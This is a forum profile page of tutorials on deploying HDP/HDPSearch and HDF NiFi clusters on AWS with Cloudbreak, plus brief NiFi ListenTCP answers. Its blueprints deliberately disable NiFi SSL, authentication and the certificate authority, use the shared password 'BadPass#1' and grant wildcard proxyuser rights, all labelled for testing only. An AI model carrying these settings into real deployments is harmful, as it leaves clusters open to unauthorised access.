Member since 
    
	
		
		
		02-09-2016
	
	
	
	
	
	
	
	
	
	
	
	
	
	
			
      
                559
            
            
                Posts
            
        
                422
            
            
                Kudos Received
            
        
                98
            
            
                Solutions
            
        My Accepted Solutions
| Title | Views | Posted | 
|---|---|---|
| 2864 | 03-02-2018 01:19 AM | |
| 4594 | 03-02-2018 01:04 AM | |
| 3071 | 08-02-2017 05:40 PM | |
| 2872 | 07-17-2017 05:35 PM | |
| 2103 | 07-10-2017 02:49 PM | 
			
    
	
		
		
		10-30-2018
	
		
		05:48 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
	
		4 Kudos
		
	
				
		
	
		
					
							 Objectives 
 HDPSearch 4.0 was recently announced (Blog) which upgrades Solr from 6.6 to 7.4. The HPDSearch 4.0 Ambari management pack will install HDPSearch 3.0 for HDP 2.6 and HDPSearch 4.0 for HDP 3.0. HDP 3.0 is required for HDPSearch 4.0 because the HDFS and Hive libraries have been updated for Hadoop 3.1. Using Cloudbreak 2.8 Tech Preview (TP) you can install an HDP 3.0 cluster that includes HDPSearch 4.0 using Cloudbreak's management pack extensions. 
 Cloudbreak 2.8 is a Tech Preview release and is not suitable for production usage. Similarly CB 2.8 TP doesn't officially support deploying HDP 3.0 clusters. The intent is to become familiar with the process for when Cloudbreak 2.9 is released. 
 This tutorial is designed to walk you through the process of deploying an HDP 3.0 cluster which includes HDPSearch 4.0 components on AWS using a custom Ambri blueprint. 
 Prerequisites 
 
 You should already have an installed version of Cloudbreak 2.8.
 
 You can find the documentation on Cloudbreak here: Cloudbreak Documentation 
 
 
 You can find an article that walks you through installing a local version of Cloudbreak with Vagrant and Virtualbox here: HCC Article 
 You should have an AWS account with appropriate permissions.
 
 You can read more about AWS permissions here: Cloudbreak Documentation 
 
 
 You should already have created your AWS credential in Cloudbreak. 
 You should be familiar with HDPSearch.
 
 You can find the documentation on HDPSearch here:HDPSearch 4.0 Documentation 
 
 
 
 Scope 
 This tutorial was tested in the following environment: 
 
 Cloudbreak 2.8.0 
 HDPSearch 4.0 
 AWS (also works on Azure and Google) 
 
 Steps 
 1. Create New HDP Blueprint 
 We need to create a custom Ambari blueprint for an HDP 3.0 cluster. This tutorial provides a basic blueprint which has HDFS and YARN HA enabled. 
 Login to your Cloudbreak instance. In the left menu, click on  Blueprints . Cloudbreak will display a list of built-in and custom blueprints. Click on the  CREATE BLUEPRINT  button. You should see something similar to the following: 
 
    
 
 If you have downloaded the blueprint JSON file, you can simply upload the file to create your new blueprint. Cloudbreak requires a unique name within the blueprint itself. If you wish to customize the blueprint name, you can edit the name in the editor window after uploading the blueprint. Enter a unique  Name  and a meaningful  Description  for the blueprint. These are displayed on the blueprint list screen. You can download the JSON blueprint file here: hdp301-ha-solr-blueprint.json 
 Click on the  Upload JSON File  button and select the blueprint JSON file you downloaded. You should see something similar to this: 
 
    
 
 Scroll to the bottom and click on the  CREATE  button. You should see the list of blueprints, including the newly created blueprint. You should see something similar to the following: 
 
    
 
 You can also choose to paste the JSON text by clicking on the  Text  radio button. 
 Here is the text of the blueprint JSON: 
 {
  "Blueprints": {
    "blueprint_name": "hdp301-ha-solr",
    "stack_name": "HDP",
    "stack_version": "3.0"
  },
  "settings": [
    {
      "recovery_settings": []
    },
    {
      "service_settings": [
        {
          "name": "HIVE",
          "credential_store_enabled": "false"
        }
      ]
    },
    {
      "component_settings": []
    }
  ],
  "host_groups": [
    {
      "name": "master_mgmt",
      "components": [
        {
          "name": "METRICS_COLLECTOR"
        },
        {
          "name": "METRICS_GRAFANA"
        },
        {
          "name": "ZOOKEEPER_SERVER"
        },
        {
          "name": "JOURNALNODE"
        },
        {
          "name": "INFRA_SOLR"
        },
        {
          "name": "INFRA_SOLR_CLIENT"
        },
        {
          "name": "METRICS_MONITOR"
        },
        {
          "name": "ZOOKEEPER_CLIENT"
        },
        {
          "name": "HDFS_CLIENT"
        },
        {
          "name": "YARN_CLIENT"
        },
        {
          "name": "OOZIE_CLIENT"
        },
        {
          "name": "MAPREDUCE2_CLIENT"
        },
        {
          "name": "HIVE_CLIENT"
        },
        {
          "name": "TEZ_CLIENT"
        },
        {
          "name": "HIVE_METASTORE"
        },
        {
          "name": "HIVE_SERVER"
        }
      ],
      "cardinality": "1"
    },
    {
      "name": "master_nn1",
      "components": [
        {
          "name": "NAMENODE"
        },
        {
          "name": "ZKFC"
        },
        {
          "name": "RESOURCEMANAGER"
        },
        {
          "name": "METRICS_MONITOR"
        },
        {
          "name": "APP_TIMELINE_SERVER"
        },
        {
          "name": "ZOOKEEPER_SERVER"
        },
        {
          "name": "JOURNALNODE"
        },
        {
          "name": "HIVE_CLIENT"
        },
        {
          "name": "HDFS_CLIENT"
        },
        {
          "name": "YARN_CLIENT"
        },
        {
          "name": "OOZIE_CLIENT"
        },
        {
          "name": "ZOOKEEPER_CLIENT"
        },
        {
          "name": "LIVY2_SERVER"
        },
        {
          "name": "SPARK2_CLIENT"
        },
        {
          "name": "MAPREDUCE2_CLIENT"
        },
        {
          "name": "TEZ_CLIENT"
        }
      ],
      "cardinality": "1"
    },
    {
      "name": "master_nn2",
      "components": [
        {
          "name": "NAMENODE"
        },
        {
          "name": "ZKFC"
        },
        {
          "name": "RESOURCEMANAGER"
        },
        {
          "name": "METRICS_MONITOR"
        },
        {
          "name": "HISTORYSERVER"
        },
        {
          "name": "HIVE_SERVER"
        },
        {
          "name": "PIG"
        },
        {
          "name": "OOZIE_SERVER"
        },
        {
          "name": "ZOOKEEPER_SERVER"
        },
        {
          "name": "JOURNALNODE"
        },
        {
          "name": "HIVE_CLIENT"
        },
        {
          "name": "HDFS_CLIENT"
        },
        {
          "name": "YARN_CLIENT"
        },
        {
          "name": "OOZIE_CLIENT"
        },
        {
          "name": "ZOOKEEPER_CLIENT"
        },
        {
          "name": "SPARK2_JOBHISTORYSERVER"
        },
        {
          "name": "SPARK2_CLIENT"
        },
        {
          "name": "MAPREDUCE2_CLIENT"
        },
        {
          "name": "TEZ_CLIENT"
        }
      ],
      "cardinality": "1"
    },
    {
      "name": "datanode",
      "components": [
        {
          "name": "HIVE_CLIENT"
        },
        {
          "name": "TEZ_CLIENT"
        },
        {
          "name": "SPARK2_CLIENT"
        },
        {
          "name": "YARN_CLIENT"
        },
        {
          "name": "OOZIE_CLIENT"
        },
        {
          "name": "DATANODE"
        },
        {
          "name": "METRICS_MONITOR"
        },
        {
          "name": "NODEMANAGER"
        },
        {
          "name": "SOLR_SERVER"
        }
      ],
      "cardinality": "1+"
    }
  ],
  "configurations": [
    {
      "core-site": {
        "properties": {
          "fs.trash.interval": "4320",
          "fs.defaultFS": "hdfs://mycluster",
          "ha.zookeeper.quorum": "%HOSTGROUP::master_nn1%:2181,%HOSTGROUP::master_nn2%:2181,%HOSTGROUP::master_mgmt%:2181",
          "hadoop.proxyuser.falcon.groups": "*",
          "hadoop.proxyuser.root.groups": "*",
          "hadoop.proxyuser.livy.hosts": "*",
          "hadoop.proxyuser.falcon.hosts": "*",
          "hadoop.proxyuser.oozie.hosts": "*",
          "hadoop.proxyuser.oozie.groups": "*",
          "hadoop.proxyuser.hive.groups": "*",
          "hadoop.proxyuser.livy.groups": "*",
          "hadoop.proxyuser.hbase.groups": "*",
          "hadoop.proxyuser.hbase.hosts": "*",
          "hadoop.proxyuser.root.hosts": "*",
          "hadoop.proxyuser.hive.hosts": "*",
          "hadoop.proxyuser.yarn.hosts": "*"
        }
      }
    },
    {
      "hdfs-site": {
        "properties": {
          "dfs.namenode.safemode.threshold-pct": "0.99",
          "dfs.client.failover.proxy.provider.mycluster": "org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider",
          "dfs.ha.automatic-failover.enabled": "true",
          "dfs.ha.fencing.methods": "shell(/bin/true)",
          "dfs.ha.namenodes.mycluster": "nn1,nn2",
          "dfs.namenode.http-address": "%HOSTGROUP::master_nn1%:50070",
          "dfs.namenode.http-address.mycluster.nn1": "%HOSTGROUP::master_nn1%:50070",
          "dfs.namenode.http-address.mycluster.nn2": "%HOSTGROUP::master_nn2%:50070",
          "dfs.namenode.https-address": "%HOSTGROUP::master_nn1%:50470",
          "dfs.namenode.https-address.mycluster.nn1": "%HOSTGROUP::master_nn1%:50470",
          "dfs.namenode.https-address.mycluster.nn2": "%HOSTGROUP::master_nn2%:50470",
          "dfs.namenode.rpc-address.mycluster.nn1": "%HOSTGROUP::master_nn1%:8020",
          "dfs.namenode.rpc-address.mycluster.nn2": "%HOSTGROUP::master_nn2%:8020",
          "dfs.namenode.shared.edits.dir": "qjournal://%HOSTGROUP::master_nn1%:8485;%HOSTGROUP::master_nn2%:8485;%HOSTGROUP::master_mgmt%:8485/mycluster",
          "dfs.nameservices": "mycluster"
        }
      }
    },
    {
      "hive-site": {
        "properties": {
          "hive.metastore.uris": "thrift://%HOSTGROUP::master_mgmt%:9083",
          "hive.exec.compress.output": "true",
          "hive.merge.mapfiles": "true",
          "hive.server2.tez.initialize.default.sessions": "true",
          "hive.server2.transport.mode": "http"
        }
      }
    },
    {
      "mapred-site": {
        "properties": {
          "mapreduce.job.reduce.slowstart.completedmaps": "0.7",
          "mapreduce.map.output.compress": "true",
          "mapreduce.output.fileoutputformat.compress": "true"
        }
      }
    },
    {
      "yarn-site": {
        "properties": {
          "hadoop.registry.rm.enabled": "true",
          "hadoop.registry.zk.quorum": "%HOSTGROUP::master_nn1%:2181,%HOSTGROUP::master_nn2%:2181,%HOSTGROUP::master_mgmt%:2181",
          "yarn.log.server.url": "http://%HOSTGROUP::master_nn2%:19888/jobhistory/logs",
          "yarn.resourcemanager.address": "%HOSTGROUP::master_nn1%:8050",
          "yarn.resourcemanager.admin.address": "%HOSTGROUP::master_nn1%:8141",
          "yarn.resourcemanager.cluster-id": "yarn-cluster",
          "yarn.resourcemanager.ha.automatic-failover.zk-base-path": "/yarn-leader-election",
          "yarn.resourcemanager.ha.enabled": "true",
          "yarn.resourcemanager.ha.rm-ids": "rm1,rm2",
          "yarn.resourcemanager.hostname": "%HOSTGROUP::master_nn1%",
          "yarn.resourcemanager.hostname.rm1": "%HOSTGROUP::master_nn1%",
          "yarn.resourcemanager.hostname.rm2": "%HOSTGROUP::master_nn2%",
          "yarn.resourcemanager.recovery.enabled": "true",
          "yarn.resourcemanager.resource-tracker.address": "%HOSTGROUP::master_nn1%:8025",
          "yarn.resourcemanager.scheduler.address": "%HOSTGROUP::master_nn1%:8030",
          "yarn.resourcemanager.store.class": "org.apache.hadoop.yarn.server.resourcemanager.recovery.ZKRMStateStore",
          "yarn.resourcemanager.webapp.address": "%HOSTGROUP::master_nn1%:8088",
          "yarn.resourcemanager.webapp.address.rm1": "%HOSTGROUP::master_nn1%:8088",
          "yarn.resourcemanager.webapp.address.rm2": "%HOSTGROUP::master_nn2%:8088",
          "yarn.resourcemanager.webapp.https.address": "%HOSTGROUP::master_nn1%:8090",
          "yarn.resourcemanager.webapp.https.address.rm1": "%HOSTGROUP::master_nn1%:8090",
          "yarn.resourcemanager.webapp.https.address.rm2": "%HOSTGROUP::master_nn2%:8090",
          "yarn.timeline-service.address": "%HOSTGROUP::master_nn1%:10200",
          "yarn.timeline-service.webapp.address": "%HOSTGROUP::master_nn1%:8188",
          "yarn.timeline-service.webapp.https.address": "%HOSTGROUP::master_nn1%:8190"
        }
      }
    }
  ]
}
 
 2. Register Management Pack 
 HDPSearch is installed via an Ambari Management Pack. To automate the deployment of HDPSearch via a blueprint, you need to register the HDPSearch Management Pack with Cloudbreak. 
 In the left menu, click on  Cluster Extensions . This will expand expand to show  Recipes  and  Management Packs . Click on  Management Packs . You should see something similar to the following: 
    
 Click on  REGISTER MANAGEMENT PACK . You should see something similar to the following: 
 
    
 
 Enter a unique  Name  and meaningful  Description . The  Management Pack URL  for the HDPSearch 4.0 Management Pack should be  http://public-repo-1.hortonworks.com/HDP-SOLR/hdp-solr-ambari-mp/solr-service-mpack-4.0.0.tar.gz . 
 Click  Create . You should see something similar to the following: 
 
    
 
 3. Create Cluster 
 Now that we have a custom blueprint based on HDP 3.0 with a Solr component and we have registered the HDPSearch 4.0 Management Pack, we are ready to create a cluster. 
 In the left menu, click on  Clusters . Cloudbreak will display configured clusters. Click the  CREATE CLUSTER  button. Cloudbreak will display the Create Cluster wizard. 
 a. General Configuration 
 By default, the  General Configuration  screen is displayed using the  BASIC  view. The  ADVANCED  view gives you more control of AWS and cluster settings, to include features such as tags. You must use  ADVANCED  view to attach a Management Pack to a cluster. You can change your view to  ADVANCED  manually or you can change your Cloudbreak preferences to show  ADVANCED  view by default. You should see something similar to the following: 
 
    
 
 
 
 Select Credential: Select the AWS credential you created. Most users will only have 1 credential per platform which will be selected automatically. 
 
 
 Cluster Name: Enter a name for your cluster. The name must be between 5 and 40 characters, must start with a letter, and must only include lowercase letters, numbers, and hyphens. 
 
 
 Region: Select the region in which you would like to launch your cluster. 
 
 
 Availability Zone: Select the availability zone in which you would like to launch your cluster. 
 
 
 Platform Version: Cloudbreak currently defaults to HDP 2.6. Select the dropdown arrow and select  HDP 3.0 . 
 
 
 Cluster Type: Select the custom blueprint you recently created. 
 
 
 You should see something similar to the following: 
 
    
 
 Click the green  Next  button. 
 c. Image Settings 
 Cloudbreak will display the  Image Settings  screen. This where you can specify a custom Cloudbreak image or change the version of Ambari and HDP used in the cluster. You should see something similar to the following: 
 
    
 
 You do not need to change any settings on this page. Clck the green  NEXT  button. 
 d. Hardware and Storage 
 Cloudbreak will display the  Hardware and Storage  screen. On this screen, you have the ability to change the instance types, attached storage and where the Ambari server will be installed. As you you can see, the blueprint calls for deploying at least 4 nodes. We will use the defaults. 
 
    
 
 Click the green  Next  button. 
 e. Network and Availability 
 Cloudbreak will display the  Network and Availability  screen. On this screen, you have the ability to create a new VPC and Subnet or select from existing ones. The default is to create a new VPC and Subnet. We will use the defaults. 
 
    
 
 Click the green  Next  button. 
 f. Cloud Storage 
 Cloudbreak will display the  Cloud Storage  screen. On this screen, you have the ability to configure your cluster to have an instance profile allowing the cluster to access data on cloud storage. The default is to not configure cloud storage. We will use the defaults. 
 
    
 
 Click the green  Next  button. 
 g. Cluster Extensions 
 Cloudbreak will display the  Cluster Extensions  screen. On this screen, you have the ability to associate recipes with differnet host groups and attach management packs to the cluser. You should see something similar to the following: 
 
    
 
 On this screen is where we associate the HDPSearch 4.0 management pack we registered previously. Select the dropdown under  Available Management Packs . Select the HDPSearch 4.0 management pack you registered. Then click the  Install  button. You should see something similar to the following: 
 
    
 
 Click the green  Next  button. 
 h. External Sources 
 Cloudbreak will display the  External Sources  screen. On this screen, you have the ability associate external sources like LDAP/AD and databases. You should see somethig similar to the following: 
 
    
 
 We will not be using this functionality with this cluster. Click the green  Next  button. 
 i. Gateway Configuration 
 Cloudbreak will display the  Gateway Configuration  screen. On this screen, you have the ability to enable a protected gateway. This gateway uses Knox to provide a secure access point for the cluster. You should see somethig similar to the following: 
 
    
 
 We will use the defaults. Click the green  Next  button. 
 j. Network Security Groups 
 Cloudbreak will display the  Network Security Groups  screen. On this screen, you have the ability to specify the  Network Security Groups . You should see something similar to the following: 
 
    
 
 Cloudbreak defaults to creating new configurations. For production use cases, we highly recommend creating and refining your own definitions within the cloud platform. You can tell Cloudbreak to use those existing security groups by selecting the radio button. We need to add the Solr default port of  8983  to the host group where Solr will exist. This is the Data Node in the blueprint. I recommend that you specify "MyIP" to limit access to this port. You should see something similar to the following: 
 
    
 
 Click the green  Next  button. 
 f. Security 
 Cloudbreak will display the  Security  screen. On this screen, you have the ability to specify the Ambari admin username and password. You can create a new SSH key or selecting an existing one. And finally, you have the ability to enable Kerberos on the cluster. We will use  admin  for the username and  BadPass#1  for the password. Select an existing SSH key from the drop down list. This should be a key you have already created and have access to the corresponding private key. We will NOT be enabling Kerberos, so make sure the  Enable Kerberos Security  checkbox is not checked. You should see something similar to the following: 
 
    
 
 Click the green  CREATE CLUSTER  button. 
 g. Cluster Summary 
 Cloudbreak will display the  Cluster Summary  page. It will generally take between 10-15 minutes for the cluster to be fully deployed. Click on the cluster you just created. You should see something similar to the following: 
 
    
 
 Click on the  Ambari URL  to open the Ambari UI. 
 h. Ambari 
 You will likely see a browser warning when you first open the Ambari UI. That is because we are using self-signed certificates. 
 
    
 
 Click on the  ADVANCED  button. Then click the link to  Proceed . 
 
    
 
 You will be presented with the Ambari login page. You will login using the username and password you specified when you created the cluster. That should have been  admin  and  BadPass#1 . Click the green  Sign In  button. 
 
    
 
 You should see the cluster summary screen. As you can see, we have a cluster a cluster which includes on the Solr component. 
 
    
 
 Click on the  Solr  service in the left hand menu. Now you can access the  Quick Links  menu for a shortcut to the Solr UI. 
 You should see the Solr UI. As you can see, this is Solr 7.4 
 
    
 
 Review 
 If you have successfully followed along with this tutorial, you should have created a custom HDP 3.0 blueprint which includes the Solr component, registered the HDPSearch 4.0 Management pack, and successfully deployed a cluster on AWS which included. 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		10-26-2018
	
		
		05:54 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
	
		5 Kudos
		
	
				
		
	
		
					
							 Objectives 
 The release of Cloudbreak 2.7 enables you to deploy Hortonworks Data Flow (HDF) clusters. Currently there are two HDF cluster types supported: Flow Management (NiFi) and Messaging Management (Kafka). Cloudbreak expects HDF clusters to be deployed with security (LDAP, SSL). However, for testing purposes, many people would like to deploy a cluster without having to go through the steps of setting up SSL, LDAP, etc. Therefore, we'll need to modify the default HDF Flow Management blueprint to loosen the security configuration. This is not recommended for production use cases. 
 This tutorial is designed to walk you through the process of of deploying an HDF 3.1 Flow Management Cluster on AWS using Cloudbreak 2.7 using a custom blueprint. 
 Prerequisites 
 
 You should already have an installed version of Cloudbreak 2.7.
 
 You can find the documentation on Cloudbreak here: Cloudbreak Documentation 
 You can find an article that walks you through installing a local version of Cloudbreak with Vagrant and Virtualbox here: HCC Article 
 
 
 You should have an AWS account with appropriate permissions.
 
 You can read more about AWS permissions here: Cloudbreak Documentation 
 
 
 You should already have created your AWS credential in Cloudbreak. 
 
 Scope 
 This tutorial was tested in the following environment: 
 
 Cloudbreak 2.7.0 
 AWS (also works on Azure and Google) 
 
 Steps 
 1. Create New HDF Blueprint 
 Login to your Cloudbreak instance. In the left menu, click on  Blueprints . Cloudbreak will display a list of built-in and custom blueprints. Click on the  Flow Management: Apache NiFi, Apache NiFi Registry  blueprint. you should see something similar to the following: 
 
    
 
 Now click on the  RAW VIEW  tab. You should see something similar to the following: 
 
    
 
 Now we need to copy the raw JSON from this blueprint. We need to make some modifications. Copy and paste the blueprint into your favorite text editor. 
 Change the  blueprint_name  line to  "blueprint_name": "hdf-nifi-no-kerberos", . This is the name of the blueprint and it must be unique from other blueprints registered in Cloudbreak. 
 In the  nifi-properties  section we need to add a new line. We are going to add  "nifi.security.user.login.identity.provider": "" . This change tells NiFi not to use an Identity Provider. Change this: 
         {
            "nifi-properties": {
                "nifi.sensitive.props.key": "changemeplease",
                "nifi.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
                "nifi.security.identity.mapping.value.kerb": "$1",
            }
        }, 
 to this: 
         {
            "nifi-properties": {
                "nifi.sensitive.props.key": "changemeplease",
                "nifi.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
                "nifi.security.identity.mapping.value.kerb": "$1",
                "nifi.security.user.login.identity.provider": ""
            }
        }, 
 In the  nifi-ambari-ssl-config  section we need to change the  nifi.node.ssl.isenabled  settings from  true  to  false . This change disables SSL between the NiFi nodes. Change this: 
             "nifi-ambari-ssl-config": {
                "nifi.toolkit.tls.token": "changemeplease",
                "nifi.node.ssl.isenabled": "true",
                "nifi.toolkit.dn.prefix": "CN=",
                "nifi.toolkit.dn.suffix": ", OU=NIFI"
            } 
 to this: 
             "nifi-ambari-ssl-config": {
                "nifi.toolkit.tls.token": "changemeplease",
                "nifi.node.ssl.isenabled": "false",
                "nifi.toolkit.dn.prefix": "CN=",
                "nifi.toolkit.dn.suffix": ", OU=NIFI"
            } 
 In the  nifi-registry-ambari-ssl-config  section we need to change the  nifi.registry.ssl.isenabled  settings from  true  to  false . This change disables SSL for the NiFi Registry. Change this: 
             "nifi-registry-ambari-ssl-config": {
                "nifi.registry.ssl.isenabled": "true",
                "nifi.registry.toolkit.dn.prefix": "CN=",
                "nifi.registry.toolkit.dn.suffix": ", OU=NIFI"
            } 
 to this: 
             "nifi-registry-ambari-ssl-config": {
                "nifi.registry.ssl.isenabled": "false",
                "nifi.registry.toolkit.dn.prefix": "CN=",
                "nifi.registry.toolkit.dn.suffix": ", OU=NIFI"
            } 
 Under  host_groups  and  Services  we need to remove the  NIFI_CA  entry. This change removes the NiFi Certificate Authority. Change this: 
     "host_groups": [
        {
            "name": "Services",
            "components": [
                {
                    "name": "NIFI_CA"
                },                {
                    "name": "NIFI_REGISTRY_MASTER"
                }, 
 to this: 
     "host_groups": [
        {
            "name": "Services",
            "components": [
                {
                    "name": "NIFI_REGISTRY_MASTER"
                }, 
 The complete blueprint looks like this: 
 {
    "Blueprints": {
        "blueprint_name": "hdf-nifi-no-kerberos",
        "stack_name": "HDF",
        "stack_version": "3.1"
    },
    "configurations": [
        {
            "nifi-ambari-config": {
                "nifi.security.encrypt.configuration.password": "changemeplease",
                "nifi.max_mem": "1g"
            }
        },
        {
            "nifi-properties": {
                "nifi.sensitive.props.key": "changemeplease",
                "nifi.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
                "nifi.security.identity.mapping.value.kerb": "$1",
                "nifi.security.user.login.identity.provider": ""
            }
        },
        {
            "nifi-ambari-ssl-config": {
                "nifi.toolkit.tls.token": "changemeplease",
                "nifi.node.ssl.isenabled": "false",
                "nifi.toolkit.dn.prefix": "CN=",
                "nifi.toolkit.dn.suffix": ", OU=NIFI"
            }
        },
        {
            "nifi-registry-ambari-config": {
                "nifi.registry.security.encrypt.configuration.password": "changemeplease"
            }
        },
        {
            "nifi-registry-properties": {
                "nifi.registry.sensitive.props.key": "changemeplease",
                "nifi.registry.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
                "nifi.registry.security.identity.mapping.value.kerb": "$1"
            }
        },
        {
            "nifi-registry-ambari-ssl-config": {
                "nifi.registry.ssl.isenabled": "false",
                "nifi.registry.toolkit.dn.prefix": "CN=",
                "nifi.registry.toolkit.dn.suffix": ", OU=NIFI"
            }
        }
    ],
    "host_groups": [
        {
            "name": "Services",
            "components": [
                {
                    "name": "NIFI_REGISTRY_MASTER"
                },
                {
                    "name": "METRICS_COLLECTOR"
                },
                {
                    "name": "METRICS_MONITOR"
                },
                {
                    "name": "METRICS_GRAFANA"
                },
                {
                    "name": "ZOOKEEPER_CLIENT"
                }
            ],
            "cardinality": "1"
        },
        {
            "name": "NiFi",
            "components": [
                {
                    "name": "NIFI_MASTER"
                },
                {
                    "name": "METRICS_MONITOR"
                },
                {
                    "name": "ZOOKEEPER_CLIENT"
                }
            ],
            "cardinality": "1+"
        },
        {
            "name": "ZooKeeper",
            "components": [
                {
                    "name": "ZOOKEEPER_SERVER"
                },
                {
                    "name": "METRICS_MONITOR"
                },
                {
                    "name": "ZOOKEEPER_CLIENT"
                }
            ],
            "cardinality": "3+"
        }
    ]
} 
 Save the updated blueprint to a file. Click on the  CREATE BLUEPRINT  button. You should see the Create Blueprint screen. 
 
    
 
 Enter the name of the new blueprint, something helpful such as  hdf-nifi-no-kerberos . Click on the  Upload JSON File  button and upload the blueprint you just saved. You should see the new blueprint you created. 
 
    
 
 2. Create Cluster 
 In the left menu, click on  Clusters . Cloudbreak will display configured clusters. Click the  CREATE CLUSTER  button. Cloudbreak will display the Create Cluster wizard 
 a. General Configuration 
 By default, the General Configuration screen is displayed using the  BASIC  view. The  ADVANCED  view gives you more control of AWS and cluster settings, to include features such as tags. You can change your view to  ADVANCED  manually or you can change your Cloudbreak preferences to show  ADVANCED  view by default. We will use the  BASIC  view. 
 
    
 
 
 Credential: Select the AWS credential you created. Most users will only have 1 credential per platform which will be selected automatically. 
 Cluster Name: Enter a name for your cluster. The name must be between 5 and 40 characters, must start with a letter, and must only include lowercase letters, numbers, and hyphens. 
 Region: Select the region in which you would like to launch your cluster. 
 Platform Version: Cloudbreak currently defaults to HDP 2.6. Select the dropdown arrow and select  HDF 3.1 . 
 Cluster Type: As mentioned previously, there are two supported cluster types. Make sure select the blueprint you just created. 
 
 Click the green  NEXT  button. 
 c. Hardware and Storage 
 Cloudbreak will display the  Hardware and Storage screen. On this screen, you have the ability to change the instance types, attached storage and where the Ambari server will be installed. As you you can see, we will deploy 1 NiFi and 1 Zookeeper node. In a production environment you would typically have at least 3 Zookeeper nodes. We will use the defaults. 
 
    
 
 Click the green  NEXT  button. 
 d. Gateway Configuration 
 Cloudbreak will display the  Gateway Configuration  screen. On this screen, you have the ability to enable a protected gateway. This gateway uses Knox to provide a secure access point for the cluster. Cloudbreak 2.7 does not currently support configuring Knox for HDF. We will leave this option disabled. 
 
    
 
 Click the green  NEXT  button. 
 e. Network 
 Cloudbreak will display the  Network  screen. On this screen, you have the ability to specify the  Network ,  Subnet , and  Security Groups . Cloudbreak defaults to creating new configurations. For production use cases, we highly recommend creating and refining your own definitions within the cloud platform. You can tell Cloudbreak to use those via the drop down menus. We will use the default options to create new configurations. 
 Because we are using a custom blueprint which disables SSL, we need to update the security groups with correct ports for the NiFi and NiFi Registry UIs. In the  SERVICES  security group, add the port  61080  with  TCP . Click the  +  button to add the rule. In the  NIFI  security group, add the port  9090  with  TCP . Click the  +  button to add the rule. 
 You should see something similar the following: 
 
    
 
 Click the green  NEXT  button. 
 f. Security 
 Cloudbreak will display the  Security  screen. On this screen, you have the ability to specify the Ambari admin username and password. You can create a new SSH key or selecting an existing one. And finally, you have the ability to enable Kerberos on the cluster. We will use  admin  for the username and  BadPass#1  for the password. Select an existing SSH key from the drop down list. This should be a key you have already created and have access to the corresponding private key. We will NOT be enabling Kerberos, so uncheck the  Enable Kerberos Security  checkbox. 
 
    
 
 You have the ability to display a  JSON  version of the blueprint. You also have the ability display a  JSON  version of the cluster definition. Both of these can be used with Cloudbreak CLI to programatically automate these operations. 
 Click the green  CREATE CLUSTER  button. 
 g. Cluster Summary 
 Cloudbreak will display the  Cluster Summary  page. It will generally take between 10-15 minutes for the cluster to be fully deployed. As you can see, this screen looks similar to and HDP cluster. The big difference is the  Blueprint  and  HDF Version . 
 
    
 
 Click on the  Ambari URL  to open the Ambari UI. 
 h. Ambari 
 You will likely see a browser warning when you first open the Ambari UI. That is because we are using self-signed certificates. 
 
    
 
 Click on the  ADVANCED  button. Then click the link to  Proceed . 
 
    
 
 You will be presented with the Ambari login page. You will login using the username and password you specified when you created the cluster. That should have been  admin  and  BadPass#1 . Click the green  Sign In  button. 
 
    
 
 You should see the cluster summary screen. As you can see, we have a cluster with Zookeeper, NiFi, and the NiFi Registry. 
 
    
 
 Click on the  NiFi  service in the left hand menu. Now you can access the  Quick Links  menu for a shortcut to the NiFi UI. 
 
    
 
 You should see the NiFi UI. 
 
    
 
 Back in the Ambari UI, click on the  NiFi Registry  service in the left hand menu. Now you can access the  Quick Links  menu for a shortcut to the NiFi Registry UI. 
 
    
 
 You should see the NiFi Registry UI. 
 
    
 
 Review 
 If you have successfully followed along with this tutorial, you should have created a Flow Management (NiFi) cluster on AWS using a custom blueprint. This cluster has SSL and LDAP configurations disabled for rapid prototyping abilities. 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		09-25-2018
	
		
		02:02 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
				
		
	
		
					
							 @Dhamotharan P
  ListenTCP doesn't really have any concept of a "message". It is based on buffer size. If you are sending multiple messages per request, then the Batching Message Delimiter can pull out individual messages from a single request, but I believe that only happens once the buffer size has been reached. It's a nuance of working with something like ListenTCP.  Try setting the Receive Buffer Size to a much smaller value than the 65507 B that you currently have it set to 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		09-21-2018
	
		
		02:59 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
				
		
	
		
					
							@Dhamotharan P Can you share why ListenTCP and GetTCP didn't work?  I did you get errors? 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		07-04-2018
	
		
		03:49 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
	
		1 Kudo
		
	
				
		
	
		
					
							 @mmolnar This is great feedback.  I've updated the article to include a link for downloading the files.  Thank you! 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		05-30-2018
	
		
		01:20 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
	
		9 Kudos
		
	
				
		
	
		
					
							 Objectives  
 This tutorial is designed to walk you through the process of using Vagrant and Virtualbox to create a local instance of Cloudbreak 2.4.1. This approach allows you start your local Cloudbreak deployer instance when you want to spin up an HDP cluster in a cloud environment without incurring costs associated with hosting your Cloudbreak deployer instance itself on the cloud.  
 This tutorial is an update to the original one located here: 
 HCC Article.  However this version of the tutorial includes more automation for installing Cloudbreak and is based on Cloudbreak 2.4.x instead of 1.14.x.  
 Note: This tutorial has also been tested with Cloudbreak 2.7.0, 2.7.1, 2.72. and 2.8.0 TP.  Prerequisites  
